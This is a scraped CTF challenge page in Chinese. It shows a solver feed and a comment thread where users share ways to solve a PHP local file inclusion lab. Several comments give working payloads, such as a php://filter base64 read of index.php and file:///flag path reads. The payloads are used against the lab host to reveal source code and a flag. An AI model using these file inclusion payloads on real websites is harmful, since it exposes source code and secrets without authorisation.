评分(11)
解题动态
CCC1112 攻破了该题 3小时前
简随安 攻破了该题 17小时前
noob11 攻破了该题 23小时前
moque 攻破了该题 1天前
pdextaffy 攻破了该题 1天前
theshy_lewis 攻破了该题 2天前
xuanbai 攻破了该题 2天前
suoao 攻破了该题 2天前
Alter 攻破了该题 3天前
LibertyLanyu 攻破了该题 3天前
qi1102 攻破了该题 3天前
豆神 攻破了该题 3天前
阳光SD 攻破了该题 3天前
李先生 攻破了该题 3天前
gc 攻破了该题 3天前
画个公主 攻破了该题 3天前
xcll 攻破了该题 4天前
mrg 攻破了该题 4天前
.ky. 攻破了该题 4天前
评论
wuzhengke 4年前
举报
先点击场景中超链接，进入新界面。新界面url（网址）改为http://114.67.175.224:10430/index.php?file=php://filter/read=convert.base64-encode/resource=index.php，进入新界面，上面的密文base64解密，解密的内容中含有flag
lysandria 4年前
举报
php://,data://,filter等伪协议被重置，直接?file=./flag.php知道路径，然后用?file=file:///./flag.php
tswler 4年前
举报
不是直接file=/flag就出来了？
joyce707 4年前
举报
@发到付件埃里克FDA 可以的
单片眼镜 4年前
举报
可以的，就是那个flag
zp 4年前
举报
你这样不行
发到付件埃里克FDA 4年前
举报
你这个flag得到的是错误的 源代码里面的注释的flg才是对的
Va1en 4年前
举报
读文件 编码后输出
yinyi980128 4年前
举报
为什么session对话不行呀，一直注入不进去
lyy000 4年前
举报
好家伙../显示出来给我精神一抖擞
bear 4年前
举报
哈哈，终于做出来一道题了。 index.php?file=php://filter/read=convert.base64-encode/resource=index.php 这里得到的是index.php文件内容的源代码的base64，然后使用base64解码就得到源代码，flag在里面
a320575517 4年前
举报
//flag就好了 本身就是file
201831066307 4年前
举报
..............直接上传base64解密就出来了。。有点坑钱
垃圾箱我亲爱的家 4年前
举报
评论区"file:///flag"的大佬真的是给我三观震碎了一地